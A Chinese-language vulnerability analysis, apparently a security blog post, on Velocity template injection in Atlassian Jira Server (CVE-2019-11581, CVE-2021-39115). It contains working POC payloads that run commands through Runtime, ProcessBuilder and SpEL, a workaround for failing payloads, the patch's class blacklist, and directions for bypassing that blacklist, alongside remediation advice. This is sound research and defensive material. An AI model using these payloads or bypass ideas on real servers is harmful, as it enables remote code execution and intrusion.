Atlassian JIRA服务器模板注入漏洞分析及挖掘
字数 2223 2025-08-27 12:33:23
Atlassian JIRA服务器模板注入漏洞分析与挖掘技术文档
一、漏洞概述
本文档详细分析Atlassian JIRA服务器中的模板注入漏洞(CVE-2019-11581及相关漏洞),包括漏洞原理、利用方式、修复方案以及挖掘方法。
二、漏洞复现及分析
1. 漏洞复现环境搭建
- 搭建SMTP服务器(可使用QQ SMTP)
- 开启联系管理员表单:
http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa - 注意:即使SMTP服务未正确配置,漏洞也会在连接SMTP服务前触发
2. POC分析
基本POC路径:
/secure/ContactAdministrators!default.jspa
POC示例:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('touch /tmp/success').waitFor()
3. 漏洞触发流程
-
请求处理流程:
- JiraWebworkActionDispatcher作为主分发器
- 派发给通用分发器执行任务
- 通过属性描述器获取和设置属性
-
邮件发送流程:
- 管理员账号验证通过后进入sendMail
- 模板渲染是漏洞触发关键点
- 最终由schedulerqueuework唤醒发送邮件任务
-
模板渲染关键点:
com.atlassian.jira.mail.builder.EmailRenderer#renderEmailBody- 变量传入后在AST reference中递归执行
- 反射调用链最终触发漏洞
三、漏洞原理深入分析
1. 为什么subject可以被当作模板解析
- 在创建
EmailBuilder的item对象时,subjectTemplate已经是Fragment类 Fragment会从content中取字段进行解析- 文件路径同样存在模板注入风险
关键代码:
MailQueueItem item = (new EmailBuilder(email, this.getMimeType(administrator), I18nBean.getLocaleFromUser(administrator)))
.withSubject(this.subject)
.withBodyFromFile(this.getTemplateDirectory(administrator) + "contactadministrator.vm")
.addParameters(velocityParams)
.renderLater();
2. 从邮件body触发模板注入(CVE-2021-39115)
- 利用Jira Administrator权限覆盖vm文件
- 在vm文件中插入payload
- 文件路径示例:
/jira/atlassian-jira-software-8.2.2-standalone/atlassian-jira/WEB-INF/classes/templates/email/html/includes/header.vm
POC示例:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser', $i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('touch /tmp/success4')").getValue()
3. 常规payload失效原因分析
常规payload示例:
#set($x=$i18n.getClass())
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('touch /tmp/success66'))
$ex.waitFor()
失效原因:
- 在Class类中寻找getRuntime方法会失败
- 反射机制限制:
Runtime构造方法是私有的,只能通过getRuntime获取实例
解决方案:
#set($x=$i18n.getClass())
#set($runcls=$x.class.forName("java.lang.Runtime"))
#set($runcon=$runcls.getDeclaredConstructor())
$runcon.setAccessible(true)
$runcon.newInstance().exec("touch /tmp/successRt")
4. 其他利用方式
- SpEL表达式注入
- ScriptEngine方式
- ProcessBuilder方式
ProcessBuilder改进版:
#set($x=$i18n.getClass())
#set($list=$x.class.forName("java.util.List"))
#set($pbcls=$x.class.forName("java.lang.ProcessBuilder"))
#set($pbcon=$pbcls.getDeclaredConstructor($list))
#set($alistcls=$x.class.forName("java.util.ArrayList"))
#set($arrtest=["/bin/sh","-c","touch /tmp/successPB"])
#set($pb=$pbcon.newInstance($arrtest))
$pb.start()
5. 其他触发点
- 不需要发送邮件即可触发模板引擎
- 可在
footer.vm等文件中插入payload - 登录页面页脚也会触发
四、JIRA的修复方式
1. 黑名单机制
- 在调用类方法前校验是否在黑名单中
- 黑名单类包括:
webwork.util.ValueStack javax.el.ELProcessor javax.script.ScriptEngineManager java.lang.ProcessBuilder javax.el.ImportHandler javax.el.ELManager
2. 修复原理
- 在
org.apache.velocity.util.introspection.UberspectImpl#getMethod中 - 从配置文件读取黑名单并填入list
- 如果类属于黑名单包,则返回空方法
关键方法:
org.apache.velocity.util.introspection.SecureIntrospectorImpl#checkObjectExecutePermission- 过滤一维数组和黑名单包中的类
五、漏洞挖掘方法
1. 挖掘思路
- 二维数组绕过(已被封杀)
- 黑名单绕过
2. 可利用类方向
-
命令执行类:
- ProcessImpl
- ProcessBuilder
- Runtime
- MethodAccessor
-
表达式类:
- ELProcessor
- ScriptEngine
-
JNDI/RMI:
- 通过恶意服务器执行
- JdbcRowSetImpl
-
反序列化相关类
-
自定义类:
- 利用ClassLoader技术
- 继承自ClassLoader的类
- 引用的Utils类
3. 关键点
- 只要类不在黑名单中,就有利用可能
- Context上下文中的对象非常重要(如i18n和jirautils)
六、为什么可以使用i18n和jirautils
- 这些类被预先注入到context容器中
- 通过
com.atlassian.jira.mail.JiraMailQueueUtils#getContextParamsMaster初始化并注入对象 - 从statingParams读取并初始化后注入对象
七、防御建议
- 及时更新到修复版本(4.17.0及之后版本增加了更多黑名单类)
- 严格控制模板文件写入权限
- 监控可疑的模板文件修改
- 限制反射调用权限
八、参考资源
- Velocity模板引擎语法:https://www.cnblogs.com/daijun/p/6133430.html
- JSP Webshell示例:https://github.com/threedr3am/JSP-Webshells
- Atlassian官方文档:https://docs.atlassian.com/DAC/javadoc/opensymphony-webwork/1.4-atlassian-17/reference/webwork/action/ActionContext.html